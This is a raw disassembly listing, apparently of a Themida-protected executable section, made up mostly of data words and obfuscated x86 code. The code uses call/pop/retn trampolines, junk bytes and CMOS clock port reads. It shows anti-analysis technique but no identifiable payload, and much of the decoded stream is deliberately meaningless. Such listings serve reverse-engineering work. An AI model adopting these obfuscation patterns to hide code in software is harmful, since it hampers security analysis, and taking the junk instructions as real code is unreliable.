dd 0A8F470AFh, 0CC4B45BFh, 890F5261h, 2, 645B6160h, 2589h
dd 0BD8B0000h, 61213D5h, 123585FFh, 6A0612h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0C3AEDCC3h
dd 0C3FECD07h, 6A764C57h, 299D8BFFh, 0FF061217h, 1219B1B5h
dd 12BF6606h, 7595FF00h, 0E9061214h, 136h, 11A1BD01h, 0B00612h
dd 31EDBD29h, 70E60612h, 0EE9h, 16DC8F00h, 0FBA950A6h
dd 1C7296B2h, 0E48F4FD1h, 0E6DB8171h, 3C4A26A6h, 3830F61h
dd 0F000001h, 28Fh, 0FFE8B00h, 0B589C8B6h, 6121971h, 18BDBD8Bh
dd 6BA0612h, 8B000000h, 122A55BDh, 0C1C18B06h, 565304E8h
dd 5F5F5F57h, 2BE2F766h, 259D89C8h, 0B7061212h, 8AD18BDFh
dd 0C0E9DAh, 0BD8B0000h, 6122A81h, 4858Bh, 0B70F0000h
dd 83DA8BFEh, 12E907C0h, 0B2000000h, 39AB7FE8h, 0F73102A9h
dd 1687B83Ch, 0C55B7CEFh, 0C08347h, 1D91BD89h, 0D03B0612h
dd 15830Fh, 81660000h, 0E9C939D7h, 7Ah, 0C6E38166h, 0DDB529AAh
dd 8B061215h, 0FFFFFF8Dh, 6840FFFh, 8B000000h, 122CFDBDh
dd 1E18306h, 54840Fh, 0F3810000h, 48DDFD90h, 0FE8h, 8222500h
dd 4FEE4B19h, 27411CC2h, 3C5482FCh, 11E9h, 59B84E00h, 6AAEE5BCh
dd 0D6BEAFF7h, 5648683Eh, 835F4281h, 0FFFFFFA5h, 9D8BFEFFh
dd 6120799h, 49589h, 0D7810000h, 7E4F3F60h, 23CF8166h
dd 0E982h, 0B58D0000h, 6165584h, 17A1BD8Bh, 6A0612h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0F3C35141h, 0C9E68870h
dd 0DB80B3D5h, 0D195FF88h, 6A061229h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0FDD8C356h
dd 383EA6CCh, 0CE977h, 0F5FE0000h, 3E133BFEh, 2742BE83h
dd 8FB9A3A7h, 6600000Eh, 81D4A0BBh, 0AD0588EBh, 0FCE1837Eh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0A7C35141h
dd 0A8277DDFh, 891C7CA2h, 12001585h, 0BD8BFC06h, 6122B1Dh
dd 6AC02Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
dd 52420000h, 181D6DC3h, 2BEA9240h, 52006AD2h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 850FC3A2h
dd 2, 33ADFD8Ah, 3E8D1C2h, 4E983D0h, 6AF475h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 150424h, 56460000h, 0E98694C3h
dd 0Ch, 8F98B052h, 0C6EAAE65h, 0DCE0F448h, 6AFBB70Fh, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
dd 8D7BC352h, 511AFB11h, 0FCBB66F3h, 880D10h, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
dd 0C04D9C3h, 0C63ABB66h, 2DCD958Bh, 6A0612h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 170424h, 57470000h, 650F2FC3h
dd 8BB1B72Eh, 1231BD8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1A04h, 0C3554500h, 0DB904F4h, 50949DA6h
dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 0EB816658h
dd 8A0F67CEh, 3, 83FEBF0Fh, 121419BDh, 840F0006h, 8Eh
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 29C35747h
dd 0B83Bh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 180424h, 53430000h, 7E9903C3h, 81667C21h, 0E814C4E3h
dd 0Bh, 2ABD262h, 5B0D8C2Bh, 2379FC14h, 1224D5BDh, 95895F06h
dd 61231C9h, 4E4B8D8Dh, 6A0612h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 140424h, 55450000h, 0E1FFB7C3h, 1B8DBD8Bh
dd 0BD830612h, 6120011h, 94840F00h, 89000003h, 1223A185h
dd 11BD8306h, 1061200h, 39C840Fh, 81660000h, 83DA01CBh
dd 120011BDh, 860F0306h, 354h, 0CE80FC60h, 6A60611Ch, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
dd 0BC7DC352h, 50BC9E29h, 0FE9h, 0B116C100h, 13A84EECh
dd 13A289B5h, 8D5D1177h, 0D98C665Bh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ah, 74C35040h, 5BC362B1h, 95890832h
dd 6123105h, 6A04E180h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1D042444h, 43000000h, 58D2C353h, 0D4974C26h
dd 0D38B448Dh, 15858952h, 5B06122Fh, 840FC90Ah, 0E8h, 20F59D29h
dd 858B0612h, 61224CDh, 2C899D0Bh, 85330612h, 612248Dh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0C35040h
dd 0BBE30789h, 11665FF9h, 0FE8B6650h, 80240489h, 6A1BCBh
dd 0EC68FA8Bh, 504D1C38h, 13E952h, 0E4D90000h, 4AEECC25h
dd 3AFBF184h, 81B21CE5h, 6707CD86h, 5A310FBBh, 24348158h
dd 4D033B13h, 89D78166h, 3195FF93h, 8B061230h, 1228BD9Dh
dd 0C858906h
dd 6A0615BDh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 15042444h, 41000000h, 0E8FBC351h, 6850Fh, 9D8B0000h
dd 612154Dh, 2E959589h, 8BE90612h, 6A000001h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
dd 6E1FC355h, 0F7EBFE25h, 0B372F3C6h, 0FFBF0F87h, 0BD04858Bh
dd 95890615h, 61210EDh, 1800C7h, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 150424h, 53430000h, 8B766AC3h
dd 15BD08B5h, 27BB6606h, 99858B67h, 89061223h, 12170DB5h
dd 0F068906h, 581h, 0C5ABF00h, 800F214Ch, 6, 32B98D89h
dd 858B0612h, 61224CDh, 0CE9h, 1731A200h, 0D7327812h, 6DE9F353h
dd 44689FBh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Bh, 0B9C35141h, 0BF82E93Eh, 5065E7FAh, 0E58BB66h, 89243489h
dd 12156185h, 4B5FF06h, 660615BDh, 0B589DA8Bh, 61221F9h
dd 0CE63AB68h, 81DA8BDFh, 0A0542404h, 6A2050h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
dd 0E271CFC3h, 607C7D52h, 1D818D8Bh, 81610612h, 0DEB77CF7h
dd 0C858D44h, 6A0615BDh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1A042444h, 42000000h, 7127C352h, 72C3EBCAh
dd 41BD89C7h, 5006122Dh, 0FE8h, 0FAE46800h, 50BA26DEh
dd 85232E9Dh, 0B1A486F6h, 2404895Bh, 0FFE0C380h, 12303195h
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h
dd 0C3554500h, 6A61CC27h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 17042444h, 45000000h, 559BC355h, 0E8BB6C4Ch
dd 0C75D901Ch, 12001185h, 306h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1604h, 0C3514100h, 564313CEh
dd 2D4C381h, 835F5DDBh, 15BD0CBDh, 840F0006h, 8, 0E966EF80h
dd 1Bh, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch
dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
dd 44300311h, 28580211h, 30011164h, 0E9831104h, 0EBE77504h
dd 0FC08B00h, 8Fh, 38C0F00h, 0F000000h, 0BD83DFB7h, 6120011h
dd 0F9850F03h, 89000004h, 121D3585h, 13E906h, 5E2F0000h
dd 4FDB5F33h, 9A28E1E9h, 0F059F43Fh, 98544E20h, 0CBD8323h
dd 615BDh, 4CE840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1A0424h, 51410000h, 0FBA081C3h, 0FC21FE3Bh
dd 19CD9D8Bh, 0B5FF0612h, 615BD0Ch, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Bh, 81C35343h, 0EEB14879h, 8B88F2D5h
dd 12283DBDh, 2995FF06h, 6A061220h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 549EC351h
dd 42809728h, 9509A9C9h, 61233A9h, 0BD00B58Bh, 0BD8B0615h
dd 6123395h, 106C7h, 0B5890001h, 61226C9h, 11E996h, 21B20000h
dd 0D9ED04E8h, 0C6393E89h, 0B58EDDDh, 508BF256h, 5D752DBFh
dd 6A964Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
dd 51410000h, 0DB8B2CC3h, 0FE992EBh, 0FE000000h, 443D2D32h
dd 8C4AE6BBh, 227D9062h, 9D8B0630h, 6121F6Dh, 0BD0CB5FFh
dd 0FE80615h, 0B7000000h, 0A7759866h, 0F0E03841h, 3B755481h
dd 0BD89A320h, 6121EDDh, 0E195FF5Fh, 6A06121Ah, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
dd 212EC350h, 6417038Ch, 1720AF19h, 2CFDBD23h, 0B58B0612h
dd 615BD00h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 14h, 37C35747h, 27E58531h, 8D890612h, 61228C9h, 3039858Bh
dd 6A0612h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
dd 55450000h, 412A99C3h, 9BE009A5h, 0F9928106h, 0C48689h
dd 81660000h, 51D114EFh, 1A959D89h, 8B5B0612h, 122DCD95h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h
dd 0C3534300h, 0EFA66F77h, 3737B8CCh, 0F1DBF66h, 0EA53F381h
dd 0C28342EAh, 0E9BD8904h, 89061212h, 6A2050h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
dd 2018FDC3h, 0B6D40AA6h, 858D2D08h, 615D0EAh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 4AC35242h, 0B88689h
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
dd 51410000h, 0D9059FC3h, 0A49C36F1h, 0FB8BFFE7h, 8D0F006Ah
dd 5, 0F4E591BFh, 0CB5FF26h, 6A0615BDh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 3DC356h
dd 0C3B78D99h, 0B6BB0DDEh, 0BF59D200h, 3DAFBF2Fh, 2CD595FFh
dd 6A0612h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
dd 52420000h, 75A2E3C3h, 92C5BCB9h, 0BB66833Dh, 8166C7C1h
dd 504B64F7h, 0E8243489h, 0Ah, 0CA208CF0h, 48E2B74h, 0AE9A6BBh
dd 0A1000000h, 0FECFBC3Bh, 16C14A6Dh, 870F5FB1h, 0Ch, 6850Fh
dd 0BD8B0000h, 6120785h, 0BD0CB5FFh, 9D8B0615h, 612334Dh
dd 2E2995FFh, 6A0612h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 150424h, 57470000h, 0E84725C3h, 0Ch, 60A8B530h, 0EA63B6B1h
dd 8E22FBB9h, 8E9h, 29E37D00h, 7A45DE4Bh, 0BD835F66h, 6121189h
dd 59840F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1B042444h, 47000000h, 61DFC357h, 0D8111874h
dd 8950F3CEh, 6A2434h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1B0424h, 55450000h, 2AFCBC3h, 8EDED207h, 7E96041h, 0AB000000h
dd 0A0759392h, 61F9C1AFh, 0BD0CB5FFh, 9D8B0615h, 612257Dh
dd 2AA595FFh, 6A0612h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1D0424h, 51410000h, 16A4EDC3h, 0DEEDB39Eh, 0FF958D37h
dd 15BD0CB5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1804h, 0C3534300h, 0CB667826h, 0D99531C2h, 56061223h
dd 5BD88B66h, 1BB195FFh, 81660612h, 83F005D3h, 122A41BDh
dd 840F0206h, 7Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Ch, 50C35747h, 5EC271AFh, 0EC553BE8h, 16DDBD89h
dd 858B0612h, 61218A9h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 18h, 0F2C35646h, 0D1E09FA3h, 0C6D8BF0Fh, 6A0000h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
dd 525B23C3h, 81BAB11Ch, 359D0BFCh, 0C706121Eh, 12030185h
dd 6, 0F8BF0F00h, 0FFF32EE9h, 0C5BD0BFFh, 0BB061223h, 62A54F33h
dd 0BD8BC18Bh, 6122AEDh, 65858Dh, 0F98B0612h, 89DE8B50h
dd 0BD892404h, 6123305h, 8B66006Ah, 6A006AD9h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
dd 0B760C350h, 4BC4ABBCh, 0FD2DC6Bh, 0B70FDBB7h, 9B858DDEh
dd 8B0616E6h, 12186D9Dh, 5C08306h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0B8C35141h
dd 0CDEC3E72h, 0D8A7085h, 90FB8BF9h, 5E8h, 92463500h, 5760FB60h
dd 0C245B959h, 5B6179FEh, 0FB8B9050h, 6A006Ah, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
dd 0FAE887C3h, 0D3DCBA1Ah, 0BF66E837h, 6A018Fh, 2B299589h
dd 95FF0612h, 6120B55h, 9BCA8D8Dh, 6A0615h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 190424h, 55450000h, 83F419C3h
dd 0FF346E2Ch, 53006AD1h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1D04h, 0C3534300h, 528BE543h, 82DE7EACh
dd 0BD83B26Eh, 6120EE9h, 9E850F01h, 6A000000h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
dd 0CA25C351h, 561EE1C7h, 6678D38Fh, 0DF82D381h, 6A026Ah
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
dd 8A4273C3h, 0E6BC8467h, 0BD03F6F5h, 6123011h, 7CBB5090h
dd 906D514Eh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 19h, 31C35040h, 41353DE4h, 6850F3Eh, 60000000h, 5E52C28Bh
dd 0D595FF61h, 8B06122Ch, 6850FFAh, 8B000000h, 1215599Dh
dd 0CE8E906h, 0E80000h, 5D000000h, 0E6A5ED81h, 6A0616h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
dd 0DC7141C3h, 9CC2CF50h, 27E5BD8Bh, 0BD8B0612h, 6121A55h
dd 968F858Dh, 0BD2B0615h, 61228A1h, 50DBB70Fh, 800Fh, 4890000h
dd 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h
dd 0C3564600h, 0AA3A1E1Dh, 0A9FBEF81h, 0BD036BD4h, 6122BF5h
dd 35FF64h, 2B000000h, 121765BDh, 25896406h, 0
; ---------------------------------------------------------------------------
xor [ebp+612334Dh], eax
inc dword ptr [ebp+6121235h]
jmp loc_5CA226
; ---------------------------------------------------------------------------
db 5Fh, 0B2h, 0F2h
dd 588218EFh
; ---------------------------------------------------------------------------
jbe short loc_5CA273
loc_5CA226: ; CODE XREF: Themida_:005CA218j
; Themida_:loc_5CAE55j
push 0FFFFFFFFh
push 0
push eax
call sub_5CA233
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CA233 proc near ; CODE XREF: Themida_:005CA22Bp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Dh
inc eax
push eax
retn
sub_5CA233 endp
; ---------------------------------------------------------------------------
db 0BBh
dd 0F5CC9A6Fh, 0CEF6614h, 6860F47h, 89000000h, 121D0185h
dd 0A5B5FF06h, 29061229h, 122789B5h, 49BD0106h, 0FF061230h
dd 12147595h
db 6, 0E9h, 25h
; ---------------------------------------------------------------------------
loc_5CA273: ; CODE XREF: Themida_:005CA224j
add [eax], eax
add [ecx+1216E5BDh], cl
push es
mov al, 0
mov bx, ax
out 70h, al ; CMOS Memory:
; used by real-time clock
sbb ebx, 69E0D0FBh
in al, 71h ; CMOS Memory
xor bh, 0Dh
cmp al, 61h
jnb loc_5CA39B
push edx
mov ebx, [ebp+6121729h]
pop ebx
movzx ecx, al
mov ebx, [ebp+6122E69h]
mov edx, 6
and edi, 7FBBCE8Bh
pusha
mov edx, [ebp+6122341h]
xor [ebp+6121809h], edi
popa
mov eax, ecx
mov ebx, [ebp+61219D9h]
xor [ebp+61211D9h], edi
shr eax, 4
mov edi, 773397D3h
mul dx
jmp loc_5CA2E6
; ---------------------------------------------------------------------------
dw 78DDh
dd 168F73E7h
db 27h, 3Bh
; ---------------------------------------------------------------------------
loc_5CA2E6: ; CODE XREF: Themida_:005CA2D9j
jmp loc_5CA2FE
; ---------------------------------------------------------------------------
db 59h
dd 0B616AC8Ah, 4340EF6Ah, 0EA1BE80h, 51C0CB2Ch
db 0F9h, 29h
; ---------------------------------------------------------------------------
loc_5CA2FE: ; CODE XREF: Themida_:loc_5CA2E6j
sub ecx, eax
jmp loc_5CA314
; ---------------------------------------------------------------------------
and al, 6Ah
add eax, 0CB67D726h
cmp eax, 0D137B2C2h
rcr byte ptr [ebp+36h], 1
loc_5CA314: ; CODE XREF: Themida_:005CA300j
mov edx, ecx
adc bl, 0E2h
jmp loc_5CA39B
; ---------------------------------------------------------------------------
mov ebx, edi
mov eax, [ebp+5F4C4C44h]
mov edi, 794C5A7Ch
add ebx, [ebp+612163Dh]
add eax, 7
mov [ebp+6120885h], esi
add eax, 0
sub ebx, 250B1B2Fh
cmp edx, eax
jnb loc_5CA362
mov [ebp+61203E1h], edi
jmp loc_5CA39B
; ---------------------------------------------------------------------------
mov ebx, [ebp+6121389h]
and edi, [ebp+6120F4Dh]
loc_5CA362: ; CODE XREF: Themida_:005CA345j
mov ecx, [ebp-1]
push esi
pop edi
and ecx, 1
jz loc_5CA39B
sbb edi, 0BB05FC7h
and dword ptr [ebp-1], 0FFFFFFFEh
jno loc_5CA38C
mov [ebp+6122CB1h], esi
loc_5CA38C: ; CODE XREF: Themida_:005CA380j
mov [ebp+5F4C4C44h], edx
cmc
movsx edi, bx
jmp $+5
loc_5CA39B: ; CODE XREF: Themida_:005CA290j
; Themida_:005CA319j ...
lea esi, [ebp+6166413h]
push 0
push ecx
call sub_5CA3AC
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CA3AC proc near ; CODE XREF: Themida_:005CA3A4p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Dh
inc ecx
push ecx
retn
sub_5CA3AC endp
; ---------------------------------------------------------------------------
and [ecx+270C4F58h], ah
and dword ptr [ecx-62746E11h], 6122A99h
push 0
and ebx, 2D7FB9BCh
call dword ptr [ebp+61229D1h]
push 0
push esi
call sub_5CA3E5
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CA3E5 proc near ; CODE XREF: Themida_:005CA3DDp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 17h
inc esi
push esi
retn
sub_5CA3E5 endp
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
push esp
mov edi, 1D9D8B9Ch
adc al, es:[esi]
mov ecx, 107Fh
push 0
push ebx
call sub_5CA40F
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CA40F proc near ; CODE XREF: Themida_:005CA407p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Bh
inc ebx
push ebx
retn
sub_5CA40F endp
; ---------------------------------------------------------------------------
db 0Bh
dd 29C55D59h, 0F91CFF5h, 830FDFBFh, 6, 0AC0FDB81h, 0E1831BA5h
dd 68C0FFCh, 8B000000h, 1220C1BDh, 6AFC06h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 5C5918C3h
dd 0DA8AB78Eh, 0B8h, 0EFBB6600h, 0BA2Dh, 10E80000h, 0A7000000h
dd 0C7C1FDB7h, 0EFD7BEBEh, 0A43D4D77h, 89DBADE6h, 1221F18Dh
dd 33AD5F06h, 3E8D1C2h, 4E983D0h, 8E8F475h, 8D000000h
dd 8F06F149h, 2966E803h, 12161585h, 6A5B06h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 190424h, 52420000h, 1FB27AC3h
dd 6023E2E8h, 9198D01h, 0D610612h, 88h, 958BEAB3h, 6122DCDh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0A1C35141h
dd 0E0B491BAh, 0D88B2E9Ch, 31BD8D8Bh, 8C0F0612h, 13h, 0EE9h
dd 0AEBF9600h, 0E2844D1Ch, 8D3DAC67h, 0E9CF5E93h, 0Bh
dd 6405607Ch, 0BFC105D7h, 50AB73E3h, 188BC28Bh, 188BC103h
dd 0E8D1C18Bh, 188BC203h, 85BD8958h, 8B061219h, 12217D9Dh
dd 0E1858906h, 8306121Ch, 121419BDh, 840F0006h, 0CFh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0D4C35747h, 0B56EAFE7h
dd 0B8458B06h, 0
; ---------------------------------------------------------------------------
push 0
push eax
call sub_5CA59F
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CA59F proc near ; CODE XREF: Themida_:005CA597p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 14h
inc eax
push eax
retn
sub_5CA59F endp
; ---------------------------------------------------------------------------
db 0EAh
; ---------------------------------------------------------------------------
jmp loc_5CA5C6
; ---------------------------------------------------------------------------
db 0A7h, 7Eh, 27h
dd 0B5FD8353h, 0F494A953h, 3B2ADB5Ch
db 0AFh, 72h
; ---------------------------------------------------------------------------
loc_5CA5C6: ; CODE XREF: Themida_:005CA5B0j
lea ecx, [ebp+6124E4Bh]
push 0
push edx
call sub_5CA5D7
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CA5D7 proc near ; CODE XREF: Themida_:005CA5CFp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ch
inc edx
push edx
retn
sub_5CA5D7 endp
; ---------------------------------------------------------------------------
db 0E5h
; ---------------------------------------------------------------------------
mov esi, 17698F4Ch
mov edx, 95016B7h
mov ch, 19h
adc edx, [edx]
push es
pop ebx
pusha
or [ebp+6121CE9h], ebx
or [ebp+61215B5h], edi
popa
jmp ecx
; ---------------------------------------------------------------------------
push 0
push eax
call sub_5CA613
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CA613 proc near ; CODE XREF: Themida_:005CA60Bp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ch
inc eax
push eax
retn
sub_5CA613 endp
; ---------------------------------------------------------------------------
cwde
xchg eax, ecx
or al, [ebp-12h]
and esp, ecx
sub ah, [esi]
jo loc_5CA635
movzx edi, dx
loc_5CA635: ; CODE XREF: Themida_:005CA62Cj
xor edi, [ebp+6121E45h]
cmp dword ptr [ebp+6120011h], 0
jz loc_5CAA98
push 0
push ecx
call sub_5CA653
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CA653 proc near ; CODE XREF: Themida_:005CA64Bp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 17h
inc ecx
push ecx
retn
sub_5CA653 endp
; ---------------------------------------------------------------------------
dec edi
rcr dword ptr [eax], 1
les esp, [eax-77h]
popf
xchg eax, ecx
sbb dl, [edx]
push es
xor ah, 3Ch
popa
cmp dword ptr [ebp+6120011h], 1
jz loc_5CAAB3
push 0
push esi
call sub_5CA68A
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CA68A proc near ; CODE XREF: Themida_:005CA682p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ch
inc esi
push esi
retn
sub_5CA68A endp
; ---------------------------------------------------------------------------
ror dword ptr ds:723A1628h, cl
cmp [ebx-3A627636h], bh
push ss
adc al, [esi]
mov [ebp+6122E39h], esi
cmp dword ptr [ebp+6120011h], 3
jbe loc_5CAA7D
mov ebx, edi
pusha
add ebx, [ebp+6122A9Dh]
mov cx, ds
mov edi, [ebp+6121CF5h]
sub [ebp+61231B5h], eax
and cl, 4
push 0
push ebp
call sub_5CA6E2
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CA6E2 proc near ; CODE XREF: Themida_:005CA6DAp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_5CA6E2 endp
; ---------------------------------------------------------------------------
dw 0C9F2h
dd 0BDBF66F9h, 0FC90A43h, 14384h, 8BFA8B00h, 1224CD85h
dd 9D8B5306h, 6122CB1h, 8D85335Bh, 0F061224h, 5050D8B7h
dd 0BB666052h, 0F61D252h, 9E95631h, 0FC000000h, 8F5BDE29h
dd 494BB20Eh, 89585A5Fh, 6A2404h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 190424h, 57470000h, 4EA61CC3h, 29E8B002h
dd 1219C595h, 0C89ABB06h, 7E95935h, 0F4000000h, 9B57A862h
dd 6AA47Fh, 0A6EF27BBh, 4E851h, 3FF0000h, 0E960001Fh, 8
dd 0A6B95F21h, 0C0C63281h, 59535250h, 0CE8310Fh, 0FD000000h
dd 439874E1h, 0AD0D7618h, 5A7314F0h, 5061585Ah, 424448Bh
dd 0D382BABBh, 66008B7Bh, 89B557BBh, 66042444h, 58165EBFh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 59C35242h
dd 0F73EABDh, 0C8Bh, 6800F00h, 9000000h, 1216D185h, 3195FF06h
dd 6A061230h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 16042444h, 47000000h, 0C0A7C357h, 0D98B661Dh, 2AA1B589h
dd 85890612h, 615BD0Ch, 0E94CD780h, 1DFh, 0FE9h, 0E1BB6500h
dd 7B77AD4Ah, 62834242h, 1D63DFADh, 0BD04858Bh, 6A0615h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
dd 9EEFA8C3h, 8859D2Bh, 0C70612h, 18h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Bh, 8C35343h, 0FDB109B4h, 89B62CEBh
dd 1219C5B5h, 8B58B06h, 6A0615BDh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 45ECC355h
dd 8B389710h, 12239985h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1404h, 0C3564600h, 0CB8151D0h, 5043FDD6h
dd 0F06895Fh, 683h, 51BD8B00h, 8B061225h, 1224CD85h, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
dd 0D0672615h, 0FA8B6613h, 89044689h, 1226C195h, 0E8605006h
dd 0Fh, 0BF13AA1Ah, 19733905h, 24EA61Ch, 608DE8B0h, 810F5A61h
dd 10h, 0AE8h, 5851B100h, 5537165Fh, 5E1BFBC0h, 24348961h
dd 1F619D09h, 9D8B0612h, 6122FB5h, 0BD04B5FFh, 81660615h
dd 0E8F0DFC3h, 4, 1F03FFh, 7F7824BBh, 830F5076h, 3, 8BF88B66h
dd 66042444h, 8B0480BFh, 24448900h, 0DE8B6604h, 51006A58h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
dd 665DBB31h, 4295DB81h, 0BD0C858Dh, 95090615h, 6120C45h
dd 45BF6690h, 6A90507Bh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1B042444h, 46000000h, 0D9F4C356h, 9FFBB422h
dd 0BD8B1F88h, 61212CDh, 303195FFh, 8B660612h, 0D9D8BFEh
dd 6106122Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 18h, 73C35646h, 849C1622h, 1185C7h, 30612h, 81660000h
dd 833546D7h, 15BD0CBDh, 840F0006h, 31h, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 18h, 9DC35242h, 0E1BEC0F2h
dd 1A098589h, 21E90612h, 8B000000h, 120B699Dh
; ---------------------------------------------------------------------------
push es
loc_5CAA7D: ; CODE XREF: Themida_:005CA6B6j
; Themida_:005CAA94j
push eax
xor [ecx+edx], cl
add [ecx+edx+1], al
shr eax, 10h
